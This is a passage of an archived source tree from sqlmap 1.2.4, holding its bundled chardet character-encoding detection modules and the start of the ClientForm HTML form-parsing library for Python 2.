= [] self.reset() def reset(self): self.result = {'encoding': None, 'confidence': 0.0} self.done = False self._mStart = True self._mGotData = False self._mInputState = ePureAscii self._mLastChar = b'' if self._mEscCharSetProber: self._mEscCharSetProber.reset() for prober in self._mCharSetProbers: prober.reset() def feed(self, aBuf): if self.done: return aLen = len(aBuf) if not aLen: return if not self._mGotData: # If the data starts with BOM, we know it is UTF if aBuf[:3] == codecs.BOM_UTF8: # EF BB BF UTF-8 with BOM self.result = {'encoding': "UTF-8-SIG", 'confidence': 1.0} elif aBuf[:4] == codecs.BOM_UTF32_LE: # FF FE 00 00 UTF-32, little-endian BOM self.result = {'encoding': "UTF-32LE", 'confidence': 1.0} elif aBuf[:4] == codecs.BOM_UTF32_BE: # 00 00 FE FF UTF-32, big-endian BOM self.result = {'encoding': "UTF-32BE", 'confidence': 1.0} elif aBuf[:4] == b'\xFE\xFF\x00\x00': # FE FF 00 00 UCS-4, unusual octet order BOM (3412) self.result = { 'encoding': "X-ISO-10646-UCS-4-3412", 'confidence': 1.0 } elif aBuf[:4] == b'\x00\x00\xFF\xFE': # 00 00 FF FE UCS-4, unusual octet order BOM (2143) self.result = { 'encoding': "X-ISO-10646-UCS-4-2143", 'confidence': 1.0 } elif aBuf[:2] == codecs.BOM_LE: # FF FE UTF-16, little endian BOM self.result = {'encoding': "UTF-16LE", 'confidence': 1.0} elif aBuf[:2] == codecs.BOM_BE: # FE FF UTF-16, big endian BOM self.result = {'encoding': "UTF-16BE", 'confidence': 1.0} self._mGotData = True if self.result['encoding'] and (self.result['confidence'] > 0.0): self.done = True return if self._mInputState == ePureAscii: if self._highBitDetector.search(aBuf): self._mInputState = eHighbyte elif ((self._mInputState == ePureAscii) and self._escDetector.search(self._mLastChar + aBuf)): self._mInputState = eEscAscii self._mLastChar = aBuf[-1:] if self._mInputState == eEscAscii: if not self._mEscCharSetProber: self._mEscCharSetProber = EscCharSetProber() if self._mEscCharSetProber.feed(aBuf) == constants.eFoundIt: self.result = {'encoding': self._mEscCharSetProber.get_charset_name(), 'confidence': self._mEscCharSetProber.get_confidence()} self.done = True elif self._mInputState == eHighbyte: if not self._mCharSetProbers: self._mCharSetProbers = [MBCSGroupProber(), SBCSGroupProber(), Latin1Prober()] for prober in self._mCharSetProbers: if prober.feed(aBuf) == constants.eFoundIt: self.result = {'encoding': prober.get_charset_name(), 'confidence': prober.get_confidence()} self.done = True break def close(self): if self.done: return if not self._mGotData: if constants._debug: sys.stderr.write('no data received!\n') return self.done = True if self._mInputState == ePureAscii: self.result = {'encoding': 'ascii', 'confidence': 1.0} return self.result if self._mInputState == eHighbyte: proberConfidence = None maxProberConfidence = 0.0 maxProber = None for prober in self._mCharSetProbers: if not prober: continue proberConfidence = prober.get_confidence() if proberConfidence > maxProberConfidence: maxProberConfidence = proberConfidence maxProber = prober if maxProber and (maxProberConfidence > MINIMUM_THRESHOLD): self.result = {'encoding': maxProber.get_charset_name(), 'confidence': maxProber.get_confidence()} return self.result if constants._debug: sys.stderr.write('no probers hit minimum threshhold\n') for prober in self._mCharSetProbers[0].mProbers: if not prober: continue sys.stderr.write('%s confidence = %s\n' % (prober.get_charset_name(), prober.get_confidence())) sqlmap-1.2.4/thirdparty/chardet/utf8prober.py000066400000000000000000000051351326012263700212770ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from . import constants from .charsetprober import CharSetProber from .codingstatemachine import CodingStateMachine from .mbcssm import UTF8SMModel ONE_CHAR_PROB = 0.5 class UTF8Prober(CharSetProber): def __init__(self): CharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(UTF8SMModel) self.reset() def reset(self): CharSetProber.reset(self) self._mCodingSM.reset() self._mNumOfMBChar = 0 def get_charset_name(self): return "utf-8" def feed(self, aBuf): for c in aBuf: codingState = self._mCodingSM.next_state(c) if codingState == constants.eError: self._mState = constants.eNotMe break elif codingState == constants.eItsMe: self._mState = constants.eFoundIt break elif codingState == constants.eStart: if self._mCodingSM.get_current_charlen() >= 2: self._mNumOfMBChar += 1 if self.get_state() == constants.eDetecting: if self.get_confidence() > constants.SHORTCUT_THRESHOLD: self._mState = constants.eFoundIt return self.get_state() def get_confidence(self): unlike = 0.99 if self._mNumOfMBChar < 6: for i in xrange(0, self._mNumOfMBChar): unlike = unlike * ONE_CHAR_PROB return 1.0 - unlike else: return unlike sqlmap-1.2.4/thirdparty/clientform/000077500000000000000000000000001326012263700173515ustar00rootroot00000000000000sqlmap-1.2.4/thirdparty/clientform/__init__.py000066400000000000000000000013231326012263700214610ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright 2007-2008 David McNab # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see . # pass sqlmap-1.2.4/thirdparty/clientform/clientform.py000066400000000000000000003667341326012263700221100ustar00rootroot00000000000000"""HTML form handling for web clients. ClientForm is a Python module for handling HTML forms on the client side, useful for parsing HTML forms, filling them in and returning the completed forms to the server. It has developed from a port of Gisle Aas' Perl module HTML::Form, from the libwww-perl library, but the interface is not the same. The most useful docstring is the one for HTMLForm. RFC 1866: HTML 2.0 RFC 1867: Form-based File Upload in HTML RFC 2388: Returning Values from Forms: multipart/form-data HTML 3.2 Specification, W3C Recommendation 14 January 1997 (for ISINDEX) HTML 4.01 Specification, W3C Recommendation 24 December 1999 Copyright 2002-2007 John J. Lee Copyright 2005 Gary Poster Copyright 2005 Zope Corporation Copyright 1998-2000 Gisle Aas. This code is free software; you can redistribute it and/or modify it under the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt included with the distribution). """ # XXX # Remove parser testing hack # safeUrl()-ize action # Switch to unicode throughout (would be 0.3.x) # See Wichert Akkerman's 2004-01-22 message to c.l.py. # Add charset parameter to Content-type headers? How to find value?? # Add some more functional tests # Especially single and multiple file upload on the internet. # Does file upload work when name is missing? Sourceforge tracker form # doesn't like it. Check standards, and test with Apache. Test # binary upload with Apache. # mailto submission & enctype text/plain # I'm not going to fix this unless somebody tells me what real servers # that want this encoding actually expect: If enctype is # application/x-www-form-urlencoded and there's a FILE control present. # Strictly, it should be 'name=data' (see HTML 4.01 spec., section # 17.13.2), but I send "name=" ATM. What about multiple file upload?? # Would be nice, but I'm not going to do it myself: # ------------------------------------------------- # Maybe a 0.4.x? # Replace by_label etc. with moniker / selector concept. Allows, eg., # a choice between selection by value / id / label / element # contents. Or choice between matching labels exactly or by # substring. Etc. # Remove deprecated methods. # ...what else? # Work on DOMForm. # XForms? Don't know if there's a need here. __all__ = ['AmbiguityError', 'CheckboxControl', 'Control', 'ControlNotFoundError', 'FileControl', 'FormParser', 'HTMLForm', 'HiddenControl', 'IgnoreControl', 'ImageControl', 'IsindexControl', 'Item', 'ItemCountError', 'ItemNotFoundError', 'Label', 'ListControl', 'LocateError', 'Missing', 'ParseError', 'ParseFile', 'ParseFileEx', 'ParseResponse', 'ParseResponseEx','PasswordControl', 'RadioControl', 'ScalarControl', 'SelectControl', 'SubmitButtonControl', 'SubmitControl', 'TextControl', 'TextareaControl', 'XHTMLCompatibleFormParser'] try: True except NameError: True = 1 False = 0 try: bool except NameError: def bool(expr): if expr: return True else: return False try: import logging import inspect except ImportError: def debug(msg, *args, **kwds): pass else: _logger = logging.getLogger("ClientForm") OPTIMIZATION_HACK = True def debug(msg, *args, **kwds): if OPTIMIZATION_HACK: return caller_name = inspect.stack()[1][3] extended_msg = '%%s %s' % msg extended_args = (caller_name,)+args debug = _logger.debug(extended_msg, *extended_args, **kwds) def _show_debug_messages(): global OPTIMIZATION_HACK OPTIMIZATION_HACK = False _logger.setLevel(logging.DEBUG) handler = logging.StreamHandler(sys.stdout) handler.setLevel(logging.DEBUG) _logger.addHandler(handler) import sys, urllib, urllib2, types, mimetools, copy, urlparse, \ htmlentitydefs, re, random from cStringIO import StringIO import sgmllib # monkeypatch to fix http://www.python.org/sf/803422 :-( sgmllib.charref = re.compile("&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]") # HTMLParser.HTMLParser is recent, so live without it if it's not available # (also, sgmllib.SGMLParser is much more tolerant of bad HTML) try: import HTMLParser except ImportError: HAVE_MODULE_HTMLPARSER = False else: HAVE_MODULE_HTMLPARSER = True try: import warnings except ImportError: def deprecation(message, stack_offset=0): pass else: def deprecation(message, stack_offset=0): warnings.warn(message, DeprecationWarning, stacklevel=3+stack_offset) VERSION = "0.2.10" CHUNK = 1024 # size of chunks fed to parser, in bytes DEFAULT_ENCODING = "latin-1" class Missing: pass _compress_re = re.compile(r"\s+") def compress_text(text): return _compress_re.sub(" ", text.strip()) def normalize_line_endings(text): return re.sub(r"(?:(? w = MimeWriter(f) ...call w.addheader(key, value) 0 or more times... followed by either: f = w.startbody(content_type) ...call f.write(data) for body data... or: w.startmultipartbody(subtype) for each part: subwriter = w.nextpart() ...use the subwriter's methods to create the subpart... w.lastpart() The subwriter is another MimeWriter instance, and should be treated in the same way as the toplevel MimeWriter. This way, writing recursive body parts is easy. Warning: don't forget to call lastpart()! XXX There should be more state so calls made in the wrong order are detected. Some special cases: - startbody() just returns the file passed to the constructor; but don't use this knowledge, as it may be changed. - startmultipartbody() actually returns a file as well; this can be used to write the initial 'if you can read this your mailer is not MIME-aware' message. - If you call flushheaders(), the headers accumulated so far are written out (and forgotten); this is useful if you don't need a body part at all, e.g. for a subpart of type message/rfc822 that's (mis)used to store some header-like information. - Passing a keyword argument 'prefix=' to addheader(), start*body() affects where the header is inserted; 0 means append at the end, 1 means insert at the start; default is append for addheader(), but insert for start*body(), which use it to determine where the Content-type header goes. """ def __init__(self, fp, http_hdrs=None): self._http_hdrs = http_hdrs self._fp = fp self._headers = [] self._boundary = [] self._first_part = True def addheader(self, key, value, prefix=0, add_to_http_hdrs=0): """ prefix is ignored if add_to_http_hdrs is true. """ lines = value.split("\r\n") while lines and not lines[-1]: del lines[-1] while lines and not lines[0]: del lines[0] if add_to_http_hdrs: value = "".join(lines) # 2.2 urllib2 doesn't normalize header case self._http_hdrs.append((key.capitalize(), value)) else: for i in xrange(1, len(lines)): lines[i] = " " + lines[i].strip() value = "\r\n".join(lines) + "\r\n" line = key.title() + ": " + value if prefix: self._headers.insert(0, line) else: self._headers.append(line) def flushheaders(self): self._fp.writelines(self._headers) self._headers = [] def startbody(self, ctype=None, plist=[], prefix=1, add_to_http_hdrs=0, content_type=1): """ prefix is ignored if add_to_http_hdrs is true. """ if content_type and ctype: for name, value in plist: ctype = ctype + ';\r\n %s=%s' % (name, value) self.addheader("Content-Type", ctype, prefix=prefix, add_to_http_hdrs=add_to_http_hdrs) self.flushheaders() if not add_to_http_hdrs: self._fp.write("\r\n") self._first_part = True return self._fp def startmultipartbody(self, subtype, boundary=None, plist=[], prefix=1, add_to_http_hdrs=0, content_type=1): boundary = boundary or choose_boundary() self._boundary.append(boundary) return self.startbody("multipart/" + subtype, [("boundary", boundary)] + plist, prefix=prefix, add_to_http_hdrs=add_to_http_hdrs, content_type=content_type) def nextpart(self): boundary = self._boundary[-1] if self._first_part: self._first_part = False else: self._fp.write("\r\n") self._fp.write("--" + boundary + "\r\n") return self.__class__(self._fp) def lastpart(self): if self._first_part: self.nextpart() boundary = self._boundary.pop() self._fp.write("\r\n--" + boundary + "--\r\n") class LocateError(ValueError): pass class AmbiguityError(LocateError): pass class ControlNotFoundError(LocateError): pass class ItemNotFoundError(LocateError): pass class ItemCountError(ValueError): pass # for backwards compatibility, ParseError derives from exceptions that were # raised by versions of ClientForm <= 0.2.5 if HAVE_MODULE_HTMLPARSER: SGMLLIB_PARSEERROR = sgmllib.SGMLParseError class ParseError(sgmllib.SGMLParseError, HTMLParser.HTMLParseError, ): pass else: if hasattr(sgmllib, "SGMLParseError"): SGMLLIB_PARSEERROR = sgmllib.SGMLParseError class ParseError(sgmllib.SGMLParseError): pass else: SGMLLIB_PARSEERROR = RuntimeError class ParseError(RuntimeError): pass class _AbstractFormParser: """forms attribute contains HTMLForm instances on completion.""" # thanks to Moshe Zadka for an example of sgmllib/htmllib usage def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): if entitydefs is None: entitydefs = get_entitydefs() self._entitydefs = entitydefs self._encoding = encoding self.base = None self.forms = [] self.labels = [] self._current_label = None self._current_form = None self._select = None self._optgroup = None self._option = None self._textarea = None # forms[0] will contain all controls that are outside of any form # self._global_form is an alias for self.forms[0] self._global_form = None self.start_form([]) self.end_form() self._current_form = self._global_form = self.forms[0] def do_base(self, attrs): debug("%s", attrs) for key, value in attrs: if key == "href": self.base = self.unescape_attr_if_required(value) def end_body(self): debug("") if self._current_label is not None: self.end_label() if self._current_form is not self._global_form: self.end_form() def start_form(self, attrs): debug("%s", attrs) if self._current_form is not self._global_form: raise ParseError("nested FORMs") name = None action = None enctype = "application/x-www-form-urlencoded" method = "GET" d = {} for key, value in attrs: if key == "name": name = self.unescape_attr_if_required(value) elif key == "action": action = self.unescape_attr_if_required(value) elif key == "method": method = self.unescape_attr_if_required(value.upper()) elif key == "enctype": enctype = self.unescape_attr_if_required(value.lower()) d[key] = self.unescape_attr_if_required(value) controls = [] self._current_form = (name, action, method, enctype), d, controls def end_form(self): debug("") if self._current_label is not None: self.end_label() if self._current_form is self._global_form: raise ParseError("end of FORM before start") self.forms.append(self._current_form) self._current_form = self._global_form def start_select(self, attrs): debug("%s", attrs) if self._select is not None: raise ParseError("nested SELECTs") if self._textarea is not None: raise ParseError("SELECT inside TEXTAREA") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._select = d self._add_label(d) self._append_select_control({"__select": d}) def end_select(self): debug("") if self._select is None: raise ParseError("end of SELECT before start") if self._option is not None: self._end_option() self._select = None def start_optgroup(self, attrs): debug("%s", attrs) if self._select is None: raise ParseError("OPTGROUP outside of SELECT") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._optgroup = d def end_optgroup(self): debug("") if self._optgroup is None: raise ParseError("end of OPTGROUP before start") self._optgroup = None def _start_option(self, attrs): debug("%s", attrs) if self._select is None: raise ParseError("OPTION outside of SELECT") if self._option is not None: self._end_option() d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._option = {} self._option.update(d) if (self._optgroup and self._optgroup.has_key("disabled") and not self._option.has_key("disabled")): self._option["disabled"] = None def _end_option(self): debug("") if self._option is None: raise ParseError("end of OPTION before start") contents = self._option.get("contents", "").strip() self._option["contents"] = contents if not self._option.has_key("value"): self._option["value"] = contents if not self._option.has_key("label"): self._option["label"] = contents # stuff dict of SELECT HTML attrs into a special private key # (gets deleted again later) self._option["__select"] = self._select self._append_select_control(self._option) self._option = None def _append_select_control(self, attrs): debug("%s", attrs) controls = self._current_form[2] name = self._select.get("name") controls.append(("select", name, attrs)) def start_textarea(self, attrs): debug("%s", attrs) if self._textarea is not None: raise ParseError("nested TEXTAREAs") if self._select is not None: raise ParseError("TEXTAREA inside SELECT") d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) self._add_label(d) self._textarea = d def end_textarea(self): debug("") if self._textarea is None: raise ParseError("end of TEXTAREA before start") controls = self._current_form[2] name = self._textarea.get("name") controls.append(("textarea", name, self._textarea)) self._textarea = None def start_label(self, attrs): debug("%s", attrs) if self._current_label: self.end_label() d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) taken = bool(d.get("for")) # empty id is invalid d["__text"] = "" d["__taken"] = taken if taken: self.labels.append(d) self._current_label = d def end_label(self): debug("") label = self._current_label if label is None: # something is ugly in the HTML, but we're ignoring it return self._current_label = None # if it is staying around, it is True in all cases del label["__taken"] def _add_label(self, d): #debug("%s", d) if self._current_label is not None: if not self._current_label["__taken"]: self._current_label["__taken"] = True d["__label"] = self._current_label def handle_data(self, data): debug("%s", data) if self._option is not None: # self._option is a dictionary of the OPTION element's HTML # attributes, but it has two special keys, one of which is the # special "contents" key contains text between OPTION tags (the # other is the "__select" key: see the end_option method) map = self._option key = "contents" elif self._textarea is not None: map = self._textarea key = "value" data = normalize_line_endings(data) # not if within option or textarea elif self._current_label is not None: map = self._current_label key = "__text" else: return if data and not map.has_key(key): # according to # http://www.w3.org/TR/html4/appendix/notes.html#h-B.3.1 line break # immediately after start tags or immediately before end tags must # be ignored, but real browsers only ignore a line break after a # start tag, so we'll do that. if data[0:2] == "\r\n": data = data[2:] elif data[0:1] in ["\n", "\r"]: data = data[1:] map[key] = data else: map[key] = map[key] + data def do_button(self, attrs): debug("%s", attrs) d = {} d["type"] = "submit" # default for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] type = d["type"] name = d.get("name") # we don't want to lose information, so use a type string that # doesn't clash with INPUT TYPE={SUBMIT,RESET,BUTTON} # e.g. type for BUTTON/RESET is "resetbutton" # (type for INPUT/RESET is "reset") type = type+"button" self._add_label(d) controls.append((type, name, d)) def do_input(self, attrs): debug("%s", attrs) d = {} d["type"] = "text" # default for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] type = d["type"] name = d.get("name") self._add_label(d) controls.append((type, name, d)) def do_isindex(self, attrs): debug("%s", attrs) d = {} for key, val in attrs: d[key] = self.unescape_attr_if_required(val) controls = self._current_form[2] self._add_label(d) # isindex doesn't have type or name HTML attributes controls.append(("isindex", None, d)) def handle_entityref(self, name): #debug("%s", name) self.handle_data(unescape( '&%s;' % name, self._entitydefs, self._encoding)) def handle_charref(self, name): #debug("%s", name) self.handle_data(unescape_charref(name, self._encoding)) def unescape_attr(self, name): #debug("%s", name) return unescape(name, self._entitydefs, self._encoding) def unescape_attrs(self, attrs): #debug("%s", attrs) escaped_attrs = {} for key, val in attrs.items(): try: val.items except AttributeError: escaped_attrs[key] = self.unescape_attr(val) else: # e.g. "__select" -- yuck! escaped_attrs[key] = self.unescape_attrs(val) return escaped_attrs def unknown_entityref(self, ref): self.handle_data("&%s;" % ref) def unknown_charref(self, ref): self.handle_data("&#%s;" % ref) if not HAVE_MODULE_HTMLPARSER: class XHTMLCompatibleFormParser: def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): raise ValueError("HTMLParser could not be imported") else: class XHTMLCompatibleFormParser(_AbstractFormParser, HTMLParser.HTMLParser): """Good for XHTML, bad for tolerance of incorrect HTML.""" # thanks to Michael Howitz for this! def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): HTMLParser.HTMLParser.__init__(self) _AbstractFormParser.__init__(self, entitydefs, encoding) def feed(self, data): try: HTMLParser.HTMLParser.feed(self, data) except HTMLParser.HTMLParseError, exc: raise ParseError(exc) def start_option(self, attrs): _AbstractFormParser._start_option(self, attrs) def end_option(self): _AbstractFormParser._end_option(self) def handle_starttag(self, tag, attrs): try: method = getattr(self, "start_" + tag) except AttributeError: try: method = getattr(self, "do_" + tag) except AttributeError: pass # unknown tag else: method(attrs) else: method(attrs) def handle_endtag(self, tag): try: method = getattr(self, "end_" + tag) except AttributeError: pass # unknown tag else: method() def unescape(self, name): # Use the entitydefs passed into constructor, not # HTMLParser.HTMLParser's entitydefs. return self.unescape_attr(name) def unescape_attr_if_required(self, name): return name # HTMLParser.HTMLParser already did it def unescape_attrs_if_required(self, attrs): return attrs # ditto def close(self): HTMLParser.HTMLParser.close(self) self.end_body() class _AbstractSgmllibParser(_AbstractFormParser): def do_option(self, attrs): _AbstractFormParser._start_option(self, attrs) if sys.version_info[:2] >= (2,5): # we override this attr to decode hex charrefs entity_or_charref = re.compile( '&(?:([a-zA-Z][-.a-zA-Z0-9]*)|#(x?[0-9a-fA-F]+))(;?)') def convert_entityref(self, name): return unescape("&%s;" % name, self._entitydefs, self._encoding) def convert_charref(self, name): return unescape_charref("%s" % name, self._encoding) def unescape_attr_if_required(self, name): return name # sgmllib already did it def unescape_attrs_if_required(self, attrs): return attrs # ditto else: def unescape_attr_if_required(self, name): return self.unescape_attr(name) def unescape_attrs_if_required(self, attrs): return self.unescape_attrs(attrs) class FormParser(_AbstractSgmllibParser, sgmllib.SGMLParser): """Good for tolerance of incorrect HTML, bad for XHTML.""" def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): sgmllib.SGMLParser.__init__(self) _AbstractFormParser.__init__(self, entitydefs, encoding) def feed(self, data): try: sgmllib.SGMLParser.feed(self, data) except SGMLLIB_PARSEERROR, exc: raise ParseError(exc) def close(self): sgmllib.SGMLParser.close(self) self.end_body() # sigh, must support mechanize by allowing dynamic creation of classes based on # its bundled copy of BeautifulSoup (which was necessary because of dependency # problems) def _create_bs_classes(bs, icbinbs, ): class _AbstractBSFormParser(_AbstractSgmllibParser): bs_base_class = None def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): _AbstractFormParser.__init__(self, entitydefs, encoding) self.bs_base_class.__init__(self) def handle_data(self, data): _AbstractFormParser.handle_data(self, data) self.bs_base_class.handle_data(self, data) def feed(self, data): try: self.bs_base_class.feed(self, data) except SGMLLIB_PARSEERROR, exc: raise ParseError(exc) def close(self): self.bs_base_class.close(self) self.end_body() class RobustFormParser(_AbstractBSFormParser, bs): """Tries to be highly tolerant of incorrect HTML.""" pass RobustFormParser.bs_base_class = bs class NestingRobustFormParser(_AbstractBSFormParser, icbinbs): """Tries to be highly tolerant of incorrect HTML. Different from RobustFormParser in that it more often guesses nesting above missing end tags (see BeautifulSoup docs). """ pass NestingRobustFormParser.bs_base_class = icbinbs return RobustFormParser, NestingRobustFormParser try: if sys.version_info[:2] < (2, 2): raise ImportError # BeautifulSoup uses generators import BeautifulSoup except ImportError: pass else: RobustFormParser, NestingRobustFormParser = _create_bs_classes( BeautifulSoup.BeautifulSoup, BeautifulSoup.ICantBelieveItsBeautifulSoup ) __all__ += ['RobustFormParser', 'NestingRobustFormParser'] #FormParser = XHTMLCompatibleFormParser # testing hack #FormParser = RobustFormParser # testing hack def ParseResponseEx(response, select_default=False, form_parser_class=FormParser, request_class=urllib2.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): """Identical to ParseResponse, except that: 1. The returned list contains an extra item. The first form in the list contains all controls not contained in any FORM element. 2. The arguments ignore_errors and backwards_compat have been removed. 3. Backwards-compatibility mode (backwards_compat=True) is not available. """ return _ParseFileEx(response, response.geturl(), select_default, False, form_parser_class, request_class, entitydefs, False, encoding, _urljoin=_urljoin, _urlparse=_urlparse, _urlunparse=_urlunparse, ) def ParseFileEx(file, base_uri, select_default=False, form_parser_class=FormParser, request_class=urllib2.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): """Identical to ParseFile, except that: 1. The returned list contains an extra item. The first form in the list contains all controls not contained in any FORM element. 2. The arguments ignore_errors and backwards_compat have been removed. 3. Backwards-compatibility mode (backwards_compat=True) is not available. """ return _ParseFileEx(file, base_uri, select_default, False, form_parser_class, request_class, entitydefs, False, encoding, _urljoin=_urljoin, _urlparse=_urlparse, _urlunparse=_urlunparse, ) def ParseResponse(response, *args, **kwds): """Parse HTTP response and return a list of HTMLForm instances. The return value of urllib2.urlopen can be conveniently passed to this function as the response parameter. ClientForm.ParseError is raised on parse errors. response: file-like object (supporting read() method) with a method geturl(), returning the URI of the HTTP response select_default: for multiple-selection SELECT controls and RADIO controls, pick the first item as the default if none are selected in the HTML form_parser_class: class to instantiate and use to pass request_class: class to return from .click() method (default is urllib2.Request) entitydefs: mapping like {"&": "&", ...} containing HTML entity definitions (a sensible default is used) encoding: character encoding used for encoding numeric character references when matching link text. ClientForm does not attempt to find the encoding in a META HTTP-EQUIV attribute in the document itself (mechanize, for example, does do that and will pass the correct value to ClientForm using this parameter). backwards_compat: boolean that determines whether the returned HTMLForm objects are backwards-compatible with old code. If backwards_compat is true: - ClientForm 0.1 code will continue to work as before. - Label searches that do not specify a nr (number or count) will always get the first match, even if other controls match. If backwards_compat is False, label searches that have ambiguous results will raise an AmbiguityError. - Item label matching is done by strict string comparison rather than substring matching. - De-selecting individual list items is allowed even if the Item is disabled. The backwards_compat argument will be deprecated in a future release. Pass a true value for select_default if you want the behaviour specified by RFC 1866 (the HTML 2.0 standard), which is to select the first item in a RADIO or multiple-selection SELECT control if none were selected in the HTML. Most browsers (including Microsoft Internet Explorer (IE) and Netscape Navigator) instead leave all items unselected in these cases. The W3C HTML 4.0 standard leaves this behaviour undefined in the case of multiple-selection SELECT controls, but insists that at least one RADIO button should be checked at all times, in contradiction to browser behaviour. There is a choice of parsers. ClientForm.XHTMLCompatibleFormParser (uses HTMLParser.HTMLParser) works best for XHTML, ClientForm.FormParser (uses sgmllib.SGMLParser) (the default) works better for ordinary grubby HTML. Note that HTMLParser is only available in Python 2.2 and later. You can pass your own class in here as a hack to work around bad HTML, but at your own risk: there is no well-defined interface. """ return _ParseFileEx(response, response.geturl(), *args, **kwds)[1:] def ParseFile(file, base_uri, *args, **kwds): """Parse HTML and return a list of HTMLForm instances. ClientForm.ParseError is raised on parse errors. file: file-like object (supporting read() method) containing HTML with zero or more forms to be parsed base_uri: the URI of the document (note that the base URI used to submit the form will be that given in the BASE element if present, not that of the document) For the other arguments and further details, see ParseResponse.__doc__. """ return _ParseFileEx(file, base_uri, *args, **kwds)[1:] def _ParseFileEx(file, base_uri, select_default=False, ignore_errors=False, form_parser_class=FormParser, request_class=urllib2.Request, entitydefs=None, backwards_compat=True, encoding=DEFAULT_ENCODING, _urljoin=urlparse.urljoin, _urlparse=urlparse.urlparse, _urlunparse=urlparse.urlunparse, ): if backwards_compat: deprecation("operating in backwards-compatibility mode", 1) fp = form_parser_class(entitydefs, encoding) while 1: data = file.read(CHUNK) try: fp.feed(data) except ParseError, e: e.base_uri = base_uri raise if len(data) != CHUNK: break fp.close() if fp.base is not None: # HTML BASE element takes precedence over document URI base_uri = fp.base labels = [] # Label(label) for label in fp.labels] id_to_labels = {} for l in fp.labels: label = Label(l) labels.append(label) for_id = l["for"] coll = id_to_labels.get(for_id) if coll is None: id_to_labels[for_id] = [label] else: coll.append(label) forms = [] for (name, action, method, enctype), attrs, controls in fp.forms: if action is None: action = base_uri else: action = unicode(action, "utf8") if action and not isinstance(action, unicode) else action action = _urljoin(base_uri, action) # would be nice to make HTMLForm class (form builder) pluggable form = HTMLForm( action, method, enctype, name, attrs, request_class, forms, labels, id_to_labels, backwards_compat) form._urlparse = _urlparse form._urlunparse = _urlunparse for ii in xrange(len(controls)): type, name, attrs = controls[ii] # index=ii*10 allows ImageControl to return multiple ordered pairs form.new_control( type, name, attrs, select_default=select_default, index=ii*10) forms.append(form) for form in forms: try: form.fixup() except AttributeError, ex: if not any(_ in str(ex) for _ in ("is disabled", "is readonly")): raise return forms class Label: def __init__(self, attrs): self.id = attrs.get("for") self._text = attrs.get("__text").strip() self._ctext = compress_text(self._text) self.attrs = attrs self._backwards_compat = False # maintained by HTMLForm def __getattr__(self, name): if name == "text": if self._backwards_compat: return self._text else: return self._ctext return getattr(Label, name) def __setattr__(self, name, value): if name == "text": # don't see any need for this, so make it read-only raise AttributeError("text attribute is read-only") self.__dict__[name] = value def __str__(self): return "" % (self.id, self.text) def _get_label(attrs): text = attrs.get("__label") if text is not None: return Label(text) else: return None class Control: """An HTML form control. An HTMLForm contains a sequence of Controls. The Controls in an HTMLForm are accessed using the HTMLForm.find_control method or the HTMLForm.controls attribute. Control instances are usually constructed using the ParseFile / ParseResponse functions. If you use those functions, you can ignore the rest of this paragraph. A Control is only properly initialised after the fixup method has been called. In fact, this is only strictly necessary for ListControl instances. This is necessary because ListControls are built up from ListControls each containing only a single item, and their initial value(s) can only be known after the sequence is complete. The types and values that are acceptable for assignment to the value attribute are defined by subclasses. If the disabled attribute is true, this represents the state typically represented by browsers by 'greying out' a control. If the disabled attribute is true, the Control will raise AttributeError if an attempt is made to change its value. In addition, the control will not be considered 'successful' as defined by the W3C HTML 4 standard -- ie. it will contribute no data to the return value of the HTMLForm.click* methods. To enable a control, set the disabled attribute to a false value. If the readonly attribute is true, the Control will raise AttributeError if an attempt is made to change its value. To make a control writable, set the readonly attribute to a false value. All controls have the disabled and readonly attributes, not only those that may have the HTML attributes of the same names. On assignment to the value attribute, the following exceptions are raised: TypeError, AttributeError (if the value attribute should not be assigned to, because the control is disabled, for example) and ValueError. If the name or value attributes are None, or the value is an empty list, or if the control is disabled, the control is not successful. Public attributes: type: string describing type of control (see the keys of the HTMLForm.type2class dictionary for the allowable values) (readonly) name: name of control (readonly) value: current value of control (subclasses may allow a single value, a sequence of values, or either) disabled: disabled state readonly: readonly state id: value of id HTML attribute """ def __init__(self, type, name, attrs, index=None): """ type: string describing type of control (see the keys of the HTMLForm.type2class dictionary for the allowable values) name: control name attrs: HTML attributes of control's HTML element """ raise 